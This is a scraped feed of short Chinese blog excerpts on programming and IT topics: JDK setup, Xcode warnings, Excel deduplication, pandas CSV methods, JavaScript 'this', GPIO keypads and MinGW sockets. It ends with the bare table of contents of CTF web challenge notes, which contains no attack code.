    计算机应用技术专业综合理论 考试大纲 一 考试性质 广东省高等职业院校对口自主招生考试是以中等职业技术学校对口专业应届毕业生和中等职业相关专业毕业 有两年以上实践经验的社会人员为对象的选拔性考试 二 考试内容 计算机应用技术专业综合理论 的
  • IDEA jdk 下载安装及项目中的配置

    进入 Oracle官网 的 Java 界面 Oracle官网地址 https www oracle com java 1 JDK下载 1 1 在网站页面滚动鼠标下拉定位到Java 选择Oracle JDK 1 2 选择Java archiv
  • Xcode警告、错误解决方法总结

    从sdk3 2 5升级到sdk 7 1中间废弃了很多的方法 还有一些逻辑关系更加严谨了 1 警告 xoxoxoxo is deprecated 解决办法 查看xoxoxoxo的这个方法的文档 替换掉这个方法即可 2 警告 Declarati
  • excel函数去重_Excel去除重复值方法汇总

    经常有人问到excel中去除重复值的问题 这个问题本来也一直有很多人讨论 现将做法汇总出来共大家参考 什么是重复值 顾名思义 重复值是指一组数据中有重复记录 去除这些重复的记录就叫去除重复值 具体有两种情况 源数据如图 去重后 结果一 所有
  • 蓝桥杯青少组python:第十三届省赛第一场

    选择题 1 下列二进制中最大数是 A 110 B 1010 C 1100 D 1001 2 以下方法 不是对文件读操作的是 A readline B readlines C readtext D read 3 以下对turtle库中函数描述
  • read_csv 与 to_csv方法

    1 read csv方法 1 1 返回数据类型 DataFrame 二维标记数据结构 列可以是不同的数据类型 是最常用的pandas对象 如同Series对象一样接受多种输入 lists dicts Series DataFrame Ser
  • JavaScript this关键字的理解

    JavaScript this 关键字的理解 仅供个人学习做笔记使用 大佬轻喷 1 全局环境直接输出this指向全局对象 console log this 2 全局函数输出this指向window 全局函数其实是window 全局对象 的方
  • 按键板的原理和实现--基于GPIO的按键板

    按键板的原理和实现 基于GPIO的按键板 上篇介绍简单的ADC实现 需要IC提供一个额外的ADC 但出于IC成本的考虑 无法提供这个的ADC时 但提供了多个额外的GPIO General Purpose Input Output 双向的 可
  • Windows平台下MingGW的网络socket编程模型

    Windows平台下MingGW的网络socket编程模型 1 TCP服务器 include
  • NSSCTF web题记录

    目录 web GXYCTF 2019 BabyUpload htaccess利用 NISACTF 2022 babyserialize pop链 NISACTF 2022 popchains pop链 NSSRound 4 SWPU 1zw